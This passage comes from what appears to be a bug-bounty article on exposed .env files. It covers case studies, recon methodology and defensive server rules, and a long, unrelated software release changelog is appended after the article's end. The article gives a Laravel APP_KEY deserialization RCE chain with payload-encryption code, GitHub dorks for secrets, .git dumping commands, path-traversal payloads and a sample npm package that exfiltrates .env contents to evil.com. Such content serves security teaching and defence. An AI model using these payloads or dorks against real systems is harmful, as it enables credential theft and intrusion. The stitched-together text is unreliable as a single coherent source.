Extort — Leave ransom notes threatening to sell the data on the dark web

Source: Unit 42 — Large-Scale Cloud Extortion Operation

The 2026 Security Affairs Study: 12 Million Files

Fast forward to February 2026: Security Affairs reported that researchers had identified over 12 million exposed .env files across the internet. The primary exposure vectors:

1. Web server misconfiguration — No rule blocking hidden files (files starting with a dot). Simply visiting https://example.com/.env returns the entire file.
2. Reverse proxies forwarding sensitive paths — Nginx or Apache misconfigured to serve static files from the project root.
3. Container images embedding secrets — Dockerfiles using COPY . . which includes .env in the image layers.
4. Forgotten backup files — .env.bak, .env.old, .env.save, env.txt left in web-accessible directories.
5. Git repository exposure — The .env file committed to source control, then the repo made public or accessed via exposed .git directories.

Part II: Real-World Bug Hunting with .env Files

Case Study 1: Azure Subdomain .env Disclosure

Source: Infosec Writeups / Bug Bounty Program

A bug bounty hunter was conducting reconnaissance on a target and discovered a subdomain that appeared to be running Laravel. Using ffuf for content discovery, they ran a wordlist against the subdomain:

ffuf -u https://target-subdomain.azurewebsites.net/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt

The scan returned a 200 OK for /.env -- but accessing it directly returned a 403 Forbidden. The hunter noticed something critical: the CNAME record pointed to *.azurewebsites.com, and while the main domain had restrictions, the underlying Azure-hosted subdomain did not.

By accessing the raw Azure endpoint URL, the .env file was fully readable, revealing:

DB_CONNECTION=mysql
DB_HOST=internal-db.mysql.database.azure.com
DB_PORT=3306
DB_DATABASE=production_db
DB_USERNAME=admin
DB_PASSWORD=P@ssw0rd!
MAIL_HOST=smtp.sendgrid.net
MAIL_USERNAME=apikey
MAIL_PASSWORD=SG.xxxxxxxxxxxxxxxx

Impact: Database credentials + SMTP API key for SendGrid. With these, the hunter could have dumped the entire production database and sent phishing emails as the legitimate domain.

Case Study 2: Laravel APP_KEY to RCE Chain

Source: Multiple researchers (Mogwai Labs, Ghostable, Stratosally)

This is one of the most dangerous exploitation chains in the Laravel ecosystem. The .env file contains APP_KEY, which is the cryptographic backbone of the entire Laravel application. It is used for encrypting cookies, session data, and serialized objects.

The vulnerability: Laravel’s Crypt::decrypt() function uses PHP's unserialize() under the hood. If an attacker has the APP_KEY, they can craft a malicious encrypted payload that, when decrypted, triggers PHP object injection leading to Remote Code Execution.

The exploitation chain:

1. Discover the APP_KEY — Find it in an exposed .env file, or via GitHub dorking (filename:.env APP_KEY).
2. Use phpggc — The PHP Generic Gadget Chains tool (phpggc) generates gadget chains for Laravel.

# Clone phpggc
git clone https://github.com/ambionics/phpggc
cd phpggc

# Generate a Laravel RCE gadget chain
php phpggc Laravel/RCE1 system 'id' --base64

3. Encrypt with the APP_KEY — The attacker encrypts the malicious payload using the stolen APP_KEY:

# Pseudocode for encrypting with the leaked APP_KEY
$payload = base64_decode('<phpggc_output>');
$key = base64_decode(substr('base64:abcdef1234567890abcdef1234567890', 7));
$iv = random_bytes(16);
$encrypted = openssl_encrypt($payload, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
$final = base64_encode($iv . $encrypted);

4. Deliver the payload — Send the encrypted value as a Laravel session cookie or any other decrypted input.

5. RCE — Laravel decrypts the payload, PHP unserializes it, and the attacker’s command executes.

Real-world impact: In 2025, researchers found hundreds of Laravel APP_KEY values leaked on GitHub. Tools like phpggc make weaponization trivial. The attacker does not need SQL injection or file upload -- just one exposed .env file.

Case Study 3: GitHub Dorking for .env Files at Scale

Source: Multiple bug bounty hunters

Advanced GitHub dorking is one of the most productive techniques for finding exposed .env files. The key operators:

# Find all .env files across all public repositories
filename:.env

# Find .env files in a specific organization
org:targetcompany filename:.env

# Find .env files containing specific sensitive keys
filename:.env "AWS_ACCESS_KEY_ID"
filename:.env "DB_PASSWORD"
filename:.env "STRIPE_SECRET"
filename:.env "APP_KEY"

# Find .env files mentioning a specific domain
"target.com" filename:.env

# Combined: target company .env with API keys
org:targetcompany filename:.env ("API_KEY" OR "SECRET" OR "PASSWORD")

# Search for config files broadly
filename:.env "production" AND ("sk_live" OR "AKIA" OR "service_role")

Pro tip from hunters: Combine with extension: and path: operators:

# Search specific paths
path:config filename:.env
path:laravel filename:.env

# Search for backup variants
filename:.env.bak
filename:.env.old
filename:.env.local
filename:.env.production

The Snyk 2025 State of Secrets Report revealed that 28 million credentials were leaked on GitHub in 2025 alone, with .env files being one of the top sources.

Case Study 4: Exposed Source Maps Leading to Stripe Secret Keys

Source: Sentry Security Blog / Prodefense.io

A bug bounty hunter discovered that a target website had accidentally deployed JavaScript source maps to production. Source maps (.map files) are used during development to map minified JavaScript back to original source code for debugging.

The attacker used Sourcemapper (a tool that reconstructs original source from .map files):

# Install sourcemapper
pip install sourcemapper

# Download and reconstruct source from an exposed source map
sourcemapper -url https://target.com/assets/js/app.js.map -output ./reconstructed/

Inside the reconstructed source code, the hunter found:

// Original source code exposed
const stripe = require('stripe');
const stripeClient = new stripe('sk_live_4eC39HqLyjWDarjtT1zdp7dc');

// Internal API endpoints
const adminApi = 'https://internal-admin.target.com/api/v2/';
const deleteUserEndpoint = `${adminApi}users/delete/`;

Impact: The Stripe live secret key (starting with sk_live_) allowed the attacker to make unauthorized charges, refunds, and access all customer payment data. The exposed admin API endpoints opened the door for further exploitation.

Case Study 5: Exposed .git Directory — Full Source Code in Version Control History

Source: PortSwigger Web Security Academy / NCSC Switzerland

A production server had its .git directory publicly accessible. The .git folder contains the complete version control history of the project, including every file that was ever committed -- even files that were later deleted or whose secrets were "removed" in subsequent commits.

# Recursively download the entire .git directory from the live server
wget -r https://target.com/.git/

# Check the Git log for secrets that were "removed"
git log -p | grep -E 'password|secret|key|token|AKIA'

The NCSC Switzerland audit found 1,300 affected systems in Switzerland alone where .git folders were publicly accessible, exposing source code, access data, and passwords.

Real bug bounty example: A hunter found that a target’s .git directory was browsable. Running git log --diff revealed a commit message: "Remove admin password from config". The diff showed the previous version of the config file with the hardcoded admin password still in Git history:

git show <commit_hash>
# Output:
# - ADMIN_PASSWORD=SuperSecretPass123!
# + ADMIN_PASSWORD=${ADMIN_PASSWORD_ENV}

The password was removed from the current file but remained forever in Git history. The hunter logged in as administrator and completely took over the application.

Part III: Advanced Reconnaissance & Hunting Methodology

Phase 1: Subdomain Enumeration

Before you can find exposed files, you need to know where to look.

# Passive enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass.txt
assetfinder --subs-only target.com >> subdomains.txt

# Active enumeration
ffuf -u https://FUZZ.target.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Certificate Transparency
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u

# Combine and deduplicate
cat subdomains.txt | sort -u | httpx -silent -o live_hosts.txt

Phase 2: Content Discovery for .env Files

# Using ffuf for .env file discovery
ffuf -u https://target.com/FUZZ \
  -w wordlist.txt \
  -fc 403,404 \
  -t 100

# .env-specific wordlist
echo ".env
.env.bak
.env.old
.env.save
.env.local
.env.production
.env.development
env.txt
env
.env.example" > env_wordlist.txt

# Recursive discovery with feroxbuster
feroxbuster -u https://target.com \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt \
  -x env,txt,bak,old,swp,save,conf,config \
  --depth 3 \
  --silent

Phase 3: Advanced GitHub Dorking

# Automated GitHub dorking with gitdorker
gitdorker -q target.com -tf ./tf/ -d ./Dorks/Alldorks.ndjson -o output

# Manual targeted dorks
site:github.com target.com filename:.env
site:github.com target.com "DB_PASSWORD"
site:github.com target.com "sk_live_" "Stripe"
site:github.com target.com "AKIA" "AWS"
site:github.com "target" filename:".env" "APP_KEY"

Phase 4: Source Map Enumeration

# Check for source maps on live targets
cat live_hosts.txt | while read url; do
  # Try common source map locations
  curl -s -o /dev/null -w "%{http_code}" "$url/assets/js/app.js.map"
  curl -s -o /dev/null -w "%{http_code}" "$url/static/js/main.js.map"
  curl -s -o /dev/null -w "%{http_code}" "$url/build/static/js/main.js.map"
done

# Reconstruct and grep for secrets
sourcemapper -url https://target.com/js/app.js.map -output ./recon/
grep -rni "sk_live\|AKIA\|password\|secret\|token" ./recon/

Phase 5: Directory Traversal Testing

Sometimes .env files are not at the root but accessible through path traversal:

# Path traversal payloads
ffuf -u https://target.com/page.php?file=FUZZ \
  -w traversal_wordlist.txt

# Common traversal wordlist entries
../../../.env
..%252f..%252f..%252f.env
....//....//....//.env
..\;../..\;../.env
/static/../../../.env

Part IV: The Expanded Attack Surface Beyond .env

Source Maps

Source maps (.map files) are JavaScript's hidden tell-all. They reconstruct minified code back to the original source, complete with comments, function names, and file structure.

What source maps can reveal:

• Original source code and business logic
• Developer comments (TODOs, FIXMEs, known bugs)
• Internal API endpoints and admin panels
• Hardcoded credentials
• Third-party integration details
• Environment variable expectations

# Check for common source map locations
curl -si https://target.com/static/js/main.abc123.js.map
curl -si https://target.com/assets/js/app.js.map
curl -si https://target.com/build/js/bundle.js.map

# Parse source maps for secrets (Node.js)
npm install -g source-map-cli
curl -s https://target.com/js/app.js.map | source-map --raw | grep -E 'key|token|secret|password'

Exposed .git Directories

The .git directory is perhaps the most dangerous exposure because it contains the entire history of the project.

Tools for .git exploitation:

# git-dumper - downloads entire .git repo
git-dumper https://target.com/.git/ ./downloaded_repo/

# GitTools - extract from exposed .git
git clone https://github.com/internetwache/GitTools
cd GitTools/Dumper
./gitdumper.sh https://target.com/.git/ ./repo/
cd GitTools/Extractor
./extractor.sh ./repo/ ./extracted/

# Search entire Git history for secrets
cd extracted
git log --all -p | grep -E '(password|secret|key|token|AKIA|sk_live)'
git log --all --diff-filter=D --summary | grep delete  # Find deleted files

Backup Files

Developers frequently create backup files during maintenance:

# Common backup file extensions
.bak, .old, .orig, .copy, .tmp, .swp, .swo, .save, ~ (tilde)

# Fuzzing for backup files
ffuf -u https://target.com/FUZZ \
  -w backup_wordlist.txt

# Example wordlist entries
config.php.bak
.env.bak
database.php.old
wp-config.php~
index.php.swp
.env.save

Configuration Files

Beyond .env, other config files often contain secrets:

# Common config files to hunt
config.json
config.php
config.js
settings.py
application.properties
application.yml
database.yml
credentials.json
service-account.json
wp-config.php

Part V: The Supply Chain Angle — Malicious Dependencies

Malicious packages actively hunt for .env files during installation. Since npm install (and pip install, gem install, etc.) can execute arbitrary code, a compromised dependency can:

// Malicious package.js (hypothetical but based on real incidents)
const fs = require('fs');
const https = require('https');

// Read .env file
const envContent = fs.readFileSync('.env', 'utf8');

// Exfiltrate to attacker server
https.get(`https://evil.com/exfil?data=${Buffer.from(envContent).toString('base64')}`);

Real incidents:

• Shai-Hulud NPM worm — Designed to hunt and exfiltrate NPM and GitHub tokens at scale
• @ctrl/tinycolor compromise (2.2M weekly downloads) — Attackers weaponized TruffleHog itself as a payload to find and exfiltrate secrets
• node-ipc supply chain attack — Malicious versions published to target specific developers
• Cursor AI editor incident (2024) — .env file contents were being sent to servers for tab completion, even when files were listed in .cursorignore

Part VI: Defense in Depth — How to Protect Against .env Exposure

Immediate Remediation

1. Block hidden files at the server level

# Apache
<FilesMatch "^\.">
    Require all denied
</FilesMatch>

# Nginx
location ~ /\.(?!well-known) {
    deny all;
    return 404;
}

// IIS
<system.webServer>
    <security>
        <requestFiltering>
            <hiddenSegments>
                <add segment=".env" />
            </hiddenSegments>
        </requestFiltering>
    </security>
</system.webServer>

2. Remove .env from web-accessible directories -- Move it outside the document root.

3. Implement CSP headers to restrict where scripts can load from.

4. Disable source maps in production builds:

// webpack.config.js
module.exports = {
  // ...
  devtool: process.env.NODE_ENV === 'production' ? false : 'source-map',
};

// vite.config.js
export default defineConfig({
  build: {
    sourcemap: process.env.NODE_ENV !== 'production',
  },
});

// next.config.js
module.exports = {
  productionBrowserSourceMaps: false,
};

Prevention

1. Use a secrets manager — HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GCP Secret Manager
2. Implement .gitignore correctly and audit with git-secrets or trufflehog
3. Use pre-commit hooks to scan for secrets:

# .pre-commit-config.yaml
repos:
  - repo: https://github.com/awslabs/git-secrets
    rev: master
    hooks:
      - id: git-secrets

4. Rotate secrets regularly — If a .env file might have been exposed, rotate every credential in it immediately.

5. Scanner automation — Integrate secret scanning into CI/CD pipelines:

# TruffleHog scan in CI
trufflehog filesystem --directory=. --json | jq '.'

6. Use ephemeral credentials — Short-lived tokens (IAM roles, OAuth2 token exchange) instead of long-lived API keys.

Detection

1. Monitor for /.env requests in access logs
2. Use automated scanners like shhgit, trufflehog, git-secrets
3. Deploy canary tokens — Fake credentials placed in .env files that alert when used

Part VII: The 2026 Vibe Coding Problem

The rise of AI-assisted development — “vibe coding” — has introduced a new dimension to the .env crisis. Research from 2026 shows that AI-generated code frequently makes mistakes that expose secrets:

• Hallucinated dependencies — AI tools generate package.json files with packages that do not exist in the registry, creating opportunities for typosquatting attacks
• Hardcoded credentials — AI models trained on public code learn the pattern of hardcoding secrets and reproduce it
• Source maps left enabled — Default build configurations generated by AI often leave source maps enabled for production
• Missing server blocks — AI-generated deployment configs rarely include rules to block hidden files

The fix: Treat AI-generated code as untrusted input. Audit every file for secrets before deployment. Use automated scanners in CI/CD.

References

• Unit 42 — Large-Scale Cloud Extortion Operation via Exposed .env Files
• Security Affairs — 12 Million Exposed .env Files
• Snyk 2025 State of Secrets — 28M Credentials Leaked on GitHub
• Sentry Security Blog — Abusing Exposed Sourcemaps
• Mogwai Labs — Exploiting Laravel with Leaked APP_KEYs
• OWASP — Review Web Page Content for Information Leakage
• GitHub Dorking — techgaun/github-dorks
• Invicti — Dotenv .env File Vulnerability
• Vibe Eval 2026 — Frontend Secrets Leak Report

GitHub: SecurityTalent | Medium: Security Talent | Twitter: Securi3yTalent | Facebook: Securi3ytalent | Telegram: Securi3yTalent

#CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming

Frontend Security & Bug Hunting: The .env File Crisis and Real-World Exploitation was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Highlights

• Faster Gateway and replies: startup avoids repeated plugin, channel, session, usage-cost, warning, scheduled-service, and filesystem scans; visible replies separate user-facing sends from slower follow-up work; Gateway runtime/session caches churn less under load.
• Transcripts are core: transcript-backed meeting summaries, source-provider chunks, cleaned user turns, media provenance, Codex mirrors, WebChat replies, and CLI/TUI replay now use one more reliable transcript path.
• More channels are production-ready: Telegram keeps typing/progress context and forum topics, iMessage handles attachment roots, remote media staging, and duplicate local Messages sources, WhatsApp restores group/media behavior, Discord improves voice playback and model picking, and Signal/iMessage/WhatsApp get reaction approvals.
• Better voice and Talk: realtime Talk runs can be inspected, steered, cancelled, or followed up from Web UI and Discord voice; wake-name handling is more tolerant without letting ambient speech trigger agents.
• Safer content boundaries: Browser snapshot reads honor SSRF policy, system-event text cannot spoof nested prompt markers, fetched file text is wrapped as external content, ClickClack inbound sender allowlists run before agent dispatch, stale device tokens are rejected, and serialized tool-call text is scrubbed from replies.
• Providers, Codex, and local models are steadier: named auth profiles, OpenAI sampling params, Codex app-server resume/timeout/usage-limit recovery, dynamic tool-schema guards, xAI usage-limit surfacing, Ollama top-p normalization, and local approval resolution reduce provider-specific dead ends.
• More reliable install/update/release paths: Alpine installs, trusted runtime fallback roots, stable update channels, Docker/package timeouts, Windows Scheduled Tasks, Windows/macOS proof lanes, Testbox/Crabbox delegation, plugin publish checks, and macOS runner bootstraps all got hardened.
• Better observability: Activity tab, gateway secret-prep traces, tool/model stream progress, explicit fast-mode status, systemd Gateway hygiene, OpenTelemetry LLM spans, release performance evidence, and richer telemetry signals make failures easier to inspect.

Changes

• Transcripts: add core transcript capture and source-provider support for transcript-backed meeting summaries, including the renamed Transcripts docs, CLI surface, source-provider chunks, and cleaned user-turn persistence.
• Auth: add named model login profiles and supported credential migration for Hermes, OpenCode, and Codex auth profiles, with explicit opt-out and non-interactive controls. (#85667) Thanks @fuller-stack-dev.
• Diagnostics: trace gateway secret preparation, classify skill/tool usage, surface model stream progress, add OpenTelemetry LLM content spans, and expose alertable telemetry for blocked tools, failover, stale sessions, liveness, oversized payloads, and webhook ingress. (#83019, #80370, #86191)
• Channels: add Signal reaction approvals, iMessage thumb approval reactions, and WhatsApp thumb approval reaction support so mobile approval flows work without textual /approve commands. (#85894, #85952, #85477)
• Agents/API: forward OpenAI sampling params through the Gateway and expose estimated context-budget status for active agent runs. (#84094)
• TUI/status: queue prompts submitted while an agent is busy and show explicit fast-mode state plus richer systemd Gateway hygiene in status output. (#86722, #87115, #86976)
• Exec approvals: hide durable approval actions that are unavailable for the current prompt and keep approval runtime tokens local-only so stale prompts cannot offer misleading controls. (#86270, #86359)
• Plugin SDK: add reaction approval helpers and keep diagnostic event root exports discoverable across function-name and alias-bound module graphs. (#86735, #87084)
• Android/iOS: add the Android pair-new-gateway action and improve mobile Talk mode surfaces, including iOS realtime Talk mode and Android offline voice/gateway recovery. (#86798, #86355) Thanks @ngutman.
• Performance: cache plugin metadata snapshots, package realpaths, stable gateway metadata, model cost indexes, channel resolution, usage-cost indexes, and session/auth hot-path facts so common Gateway and reply paths do less rediscovery. (#84649, #85843, #86517, #86678)
• Voice: expose shared realtime turn-context tracking through the realtime voice SDK and reuse it for Discord speaker attribution and wake-name context recovery.
• Voice: reuse shared realtime output activity tracking in Google Meet command and node audio bridges, including recent-output checks for local barge-in detection.
• Voice: expose shared realtime output activity tracking through the realtime voice SDK and reuse it for Discord playback activity and barge-in decisions.
• Voice: expose shared realtime consult question matching, speakable-result extraction, and alias-aware forced-consult coordination through the realtime voice SDK, then reuse it in Gateway Talk, Voice Call, and Discord voice paths.
• Voice: share activation-name matching and consult-transcript screening through the realtime voice SDK so Discord, browser voice, and meeting surfaces can reuse one implementation.
• Cron: default cron.maxConcurrentRuns to 8 so scheduled automations and their isolated agent turns can make progress in parallel without explicit configuration.
• QA-Lab: add qa coverage --match <query> so focused proof selection can discover matching scenarios from existing metadata before running live or remote lanes.
• Discord/model picker: surface an alpha-bucket select (e.g. A–G (12) · H–N (18) · O–Z (5)) when the provider list or a provider's model list exceeds 25 items, so configs with provider/* wildcards stay one click from the right page instead of paginating through prev/next; falls back to numeric chunks when every item shares the same first letter.
• Control UI: add an ephemeral Activity tab for sanitized live tool activity summaries without persisting raw telemetry. Fixes #12831. Thanks @BunsDev.
• Build: include ui:build in the full and ciArtifacts profiles of scripts/build-all.mjs so pnpm build always rebuilds dist/control-ui after tsdown cleans dist, removing the second-command requirement and the missing-asset failure mode for source/runtime installs and CI artifact uploads. (#85206)
• iOS: improve Talk mode with direct realtime voice sessions, compact toolbar status, and responsive voice waveform feedback. (#86355) Thanks @ngutman.
• Media: replace the Sharp image backend with Rastermill for metadata, resizing, EXIF orientation, and PNG alpha-preserving optimization so OpenClaw no longer installs Sharp or the WhatsApp Jimp fallback for image processing. (#86437)
• Codex: update the bundled Codex CLI to 0.134.0 and keep native compaction disabled for budget-triggered app-server turns so OpenClaw owns the recovery boundary. (#86772)

Fixes

• Memory/security: reject prompt-like text submitted through the explicit memory_store tool before embedding or storage, matching the existing auto-capture prompt-injection filter. (#87142)

• Gateway/security: enable the default auth rate limiter for remote non-browser and HTTP gateway auth failures when gateway.auth.rateLimit is unset, while preserving the loopback exemption. (#87148)

• Security/content boundaries: validate Browser snapshot tab URLs against SSRF policy before ChromeMCP or direct CDP reads, sanitize queued system-event text so untrusted plugin/channel labels cannot spoof nested prompt markers, wrap fetched file text and metadata as external content, apply ClickClack allowFrom sender allowlists before agent dispatch, reject RPCs from invalidated device-token clients during rotation, require staged sandbox media refs, and scrub serialized tool-call text from replies. (#78526, #87094, #87062, #83741, #70707, #86924) Thanks @zsxsoft, @ttzero25, and @mmaps.

• Transcripts/user turns: persist CLI, WebChat, media, follow-up, hook, and Codex-mirror user turns to the admitted session target; keep cleaned transcript text, inline image routing, provenance metadata, replay hooks, and fallback paths idempotent when runtimes fail or restart.

• TUI/status/onboarding/UI: queue busy TUI prompts instead of dropping them, preserve the configured default model during onboarding, show failed tool results as errors, show config-open failures in Control UI, keep status JSON plugin scans healthy, preserve xAI usage-limit errors locally, and expose explicit fast-mode/systemd state. (#86722, #87000, #85786, #87108, #87001, #86614, #87115, #86976)

• Plugin commands/SDK: preserve plugin LLM command auth, bind native plugin command dispatch to the host agent's LLM auth, keep onDiagnosticEvent exports discoverable through Function.name, stabilize diagnostic event root aliases, correlate pathless read diagnostics, suppress transient runner failures in channel command paths, and repair local approval resolution. (#85936, #87084, #86977, #87069, #86771)

• Codex/providers: keep WebChat delivery hints out of user prompts, avoid false queued-terminal idle timeouts, share the native hook relay registry, quarantine unsupported dynamic tool schemas, preserve Claude resumed-session system prompts, normalize greedy Ollama top_p, preserve per-agent thinking defaults for ingress runs, and avoid native compaction takeover on budget-triggered Codex turns. (#87096, #73950, #87049, #86689, #86772)

• Gateway/perf/release: reuse startup-warning metadata and prepared auth stores, avoid cloning live-switch and lifecycle session caches on read paths, defer warning and scheduled-service fallback imports, trim Gateway session/startup/runtime CPU churn, skip duplicate turn session touches, stop chat timeout fallback cascades, drop stale subagent announce history, bound benchmark/watch/kitchen-sink teardown waits, bound macOS/package/onboarding/plugin smoke commands, bound install finalization probes, resolve Parallels npm-update commands from guest PATH, and bootstrap raw AWS macOS Node/pnpm commands through /usr/bin/env. (#86997)

• Reply/perf: reduce visible reply delivery latency by preserving Telegram typing/progress context, lazy-loading slash-command startup metadata, avoiding hot-path model hydration, flag-gating Codex profiler timing, deferring context compaction maintenance, and tracking delivery timing. (#86989, #86990, #86991, #86992, #86993, #86994) Thanks @keshavbotagent.

• Reply/source delivery: keep TUI, Control UI, media, TTS, transcript, and Codex source-reply finals live without duplicate terminal events or stale replay artifacts.

• Agents/replay: repair legacy tool results before replay, preserve sessions_spawn transcript payloads, restore current guard checks, stage sandboxed workspace media, and keep duplicate transcripts tool display metadata from reappearing. (#82203, #86934, #87025) Thanks @martingarramon, @vincentkoc, and @joshavant.

• Agents/sessions: handle active-fallback failures in sessions_send so fallback routing reports the real failure and does not leave callers with an ambiguous dropped send. (#86638)

• Agents/hooks/subagents: enforce default hook agent allowlists, recover failed subagent lifecycle completions, and keep node task lifecycle cleanup from closing the Gateway listener. (#86101)

• Codex: project newer OpenClaw chat history into resumed app-server threads and keep Codex turn timeouts inside the Codex runtime boundary so timeouts do not poison shared app-server clients or fall through to unrelated provider fallback. (#86677, #86476) Thanks @TurboTheTurtle and @pashpashpash.

• Config/doctor/update: narrow profiled tool-section doctor repair, keep runtime-injected legacy web-search provider config out of user-authored config validation, and keep prerelease tags excluded from stable updater resolution. (#87030, #86818, #86559) Thanks @joshavant, @luoyanglang, and @stevenepalmer.

• CLI/Windows: add a Windows-only stack-size respawn for stack-heavy startup paths, default CLI logs to local timestamps, and validate timeout/banner TTY state more strictly. (#87031, #85387) Thanks @giodl73-repo and @vincentkoc.

• Locking/security: require owner identity proof before stale plugin lock removal, memoize session lock owner arguments, and avoid writing default exec approval stores unless policy state actually changed. (#86814, #86964) Thanks @Alix-007 and @vincentkoc.

• Install/release: bound Docker package build, inventory, pack, and tarball preparation with process-group timeouts; pin shrinkwrap patch drift to the pnpm lock; harden macOS restart and dSYM packaging; and run release Docker/live timeout wrappers in the foreground so child processes cannot wedge gates.

• Telegram/network: treat ENETDOWN as a transient pre-connect network failure so Telegram sends, gateway unhandled-rejection handling, and cron network retries follow the same recovery path as sibling network outages. (#86762) Thanks @TurboTheTurtle.

• Telegram: preserve inbound text entities, overlapping DM replies, account topic cache sidecars, outbound reply context, targeted bot-command mentions, durable group retry targets, forum topic names, and native progress callbacks. (#83873, #85361, #85555, #85656, #85709, #86299, #86553) Thanks @SebTardif, @luoyanglang, and @neeravmakwana.

• iMessage: read image attachments from local Messages attachment roots, dedupe duplicate local Messages-source accounts, seed direct DM history, fix image/group media attachment commands, advance catchup cursors after live handling, and keep slash-command acknowledgements in the source conversation. (#82642, #85475, #86569, #86705, #86706, #86770) Thanks @homer-byte, @TurboTheTurtle, @swang430, and @omarshahine.

• WhatsApp/QQ/Twitch/IRC/Slack: restore WhatsApp ack identity and group-drop warnings, make QQ Bot media respect OPENCLAW_HOME, serialize Twitch auth disconnects, store IRC channel routes canonically, and keep Slack downloaded files out of reply media. (#83833, #85309, #85777, #85794, #85906, #86318, #86697) Thanks @sliverp, @neeravmakwana, and @Kailigithub.

• Discord/voice: improve voice playback and wake replies, bucket large model picker menus, merge media captions into one message, route metadata through configured proxies, restore numeric channel sends, suppress self-reply echoes, and tighten wake matching without breaking fuzzy wake phrases. (#80227, #86238, #86487, #86571, #86595, #86601)

• Codex: preserve native web-search metadata, keep oversized native thread reuse, bridge CLI API-key auth into the app server, preserve sandbox bootstrap path style, recover context-window prompt errors, honor yolo approval policy, disable native thread personality, and route compaction through Codex auth. (#85378, #85542, #85891, #85909, #86408)

• Agents/runtime: enforce session lock max-hold reclaim, release embedded-attempt locks on all exits, treat aborted subagent runs as terminal, avoid runtime model hydration on hot paths, disclose scoped session list counts, derive overflow budgets from provider errors, and keep fallback errors scoped to the active model candidate. (#70473, #85764, #86014, #86134, #86427, #86944) Thanks @openperf, @fuller-stack-dev, @zhangguiping-xydt, and @ferminquant.

• Config/update/doctor: retry config recovery after failed backup restore, skip shell env fallback on Windows, exclude prerelease tags from the stable git channel, support deep config edits, warn instead of aborting on unreadable cron stores, prune stale bundled plugin paths, and avoid duplicate restart prompts when the Gateway is already healthy. (#85739, #85787, #86060, #86260, #86384, #86533) Thanks @liaoyl830.

• Install/release: support Alpine CLI installs and runtime floors, prefer trusted startup argv runtime fallback roots, reject stale CLI node runtimes, avoid npm min-release-age installer failures, bound npm/package/Docker install phases, restore config parent ownership in Docker, seed Docker lockfile package tarballs before prune, make release/plugin prerelease checks fail closed instead of hanging or false-greening, and use host-visible Crabbox local work roots for Docker-backed proof. (#85491)

• Windows daemon: keep Scheduled Task gateway launches running on battery power and avoid workgroup-machine prompts for a domain user during task installation. (#59299)

• Security: avoid printing Gateway tokens in Docker, validate plugin model-pattern regexes safely, escape transcript metadata field names, harden session allowlist glob matching, audit Claude permission overrides under YOLO, and require explicit allow for ACP auto approvals. (#85849, #85934, #86046, #86557)

• Media/images: replace Sharp with Rastermill, keep EXIF normalization best-effort, normalize HEIC/HEIF before image descriptions, route Codex image API keys through OpenAI, preserve image compression metadata, and auto-scale live tool result caps. (#85776, #86037, #86437, #86857, #86923)

• Memory: prevent semantic vector indexes from silently degrading when embeddings are unavailable, stop doctor OOMs on large session stores, preserve sidecar hooks/artifacts, write fallback dream diaries, use CJK-aware dreaming dedupe, and avoid per-file watcher FD fan-out. (#80613, #82928, #85060, #85704, #85967, #86701) Thanks @brokemac79, @openperf, and @yaaboo-gif.

• Agents/sessions: include visibility metadata on restricted sessions_list results so scoped counts are clearly reported without widening access or exposing hidden-session counts. (#86944) Thanks @ferminquant.

• Gateway/DNS: validate wide-area discovery domains before deriving zone paths or writing zone files, so invalid discovery.wideArea.domain and dns setup --domain values fail with a DNS-name diagnostic instead of falling through to unrelated configuration errors. Thanks @mmaps.

• Agents/BTW: route fallback side-question streams through the embedded stream resolver so Anthropic-compatible MiniMax requests use the same capped transport as normal chat. (#86312) Thanks @neeravmakwana.

• Telegram: treat /command@TargetBot bot-command entities as explicit mentions for the addressed bot so requireMention groups no longer drop targeted commands or captions. Fixes #84462. (#86553) Thanks @luoyanglang.

• CI: bound Docker/Bash E2E tarball npm installs with OPENCLAW_E2E_NPM_INSTALL_TIMEOUT so package, onboarding, plugin, and upgrade lanes fail instead of hanging on a stuck npm install.

• CI: fail Parallels npm-update smoke jobs after the guest command timeout and cleanup backstop instead of only logging a timeout line.

• CI: bound kitchen-sink RPC HTTP probes so stalled gateway readiness or response bodies fail and retry instead of wedging the walker.

• CI: keep OPENCLAW_TESTBOX=1 pnpm check:changed delegating to Blacksmith Testbox through Crabbox without forwarding local Testbox or worker env into the remote command.

• CI: send KILL after the TERM grace period for manual checkout fetch timeouts so stuck Testbox and workflow checkout retries cannot hang behind a wedged git fetch.

• CI: send KILL after the TERM grace period for Bun global install smoke command timeouts so trapped openclaw child processes cannot wedge the scheduled install smoke.

• iMessage: thread current channel/account inbound attachment roots into the image tool so iMessage-saved attachments under ~/Library/Messages/Attachments (including the wildcard /Users/*/Library/Messages/Attachments root) are read through the existing inbound path policy instead of being rejected as path-not-allowed. Literal localRoots stays workspace-scoped. Fixes #30170. (#86569)

• QQ Bot: respect OPENCLAW_HOME for outbound media path resolution so <qqmedia> sends no longer silently fail when HOME and OPENCLAW_HOME differ (Docker / multi-user hosts). Persisted QQ Bot data (sessions, known users, refs) stays anchored on the OS home for upgrade compatibility. Fixes #83562. Thanks @sliverp.

• Update: report the primary malformed openclaw.extensions payload error without adding a duplicate missing-main diagnostic. (#86596) Thanks @ferminquant.

• Control UI: keep host-local Markdown file paths inert while preserving app-relative links. (#86620) Thanks @BryanTegomoh.

• Gateway: dampen repeated unauthenticated device-required probes per URL while preserving explicit-auth and paired recovery paths. (#86575) Thanks @ferminquant.

• IRC: store inbound channel routes with the canonical channel:#name target and join transient channel sends before writing. (#85906) Thanks @Kailigithub.

• Usage: surface unknown all-zero model pricing as missing cost entries instead of a confident $0 total. (#85882) Thanks @MichaelZelbel.

• Agents/Codex: honor yolo app-server approval policy only for the full never plus danger-full-access case. (#85909) Thanks @earlvanze.

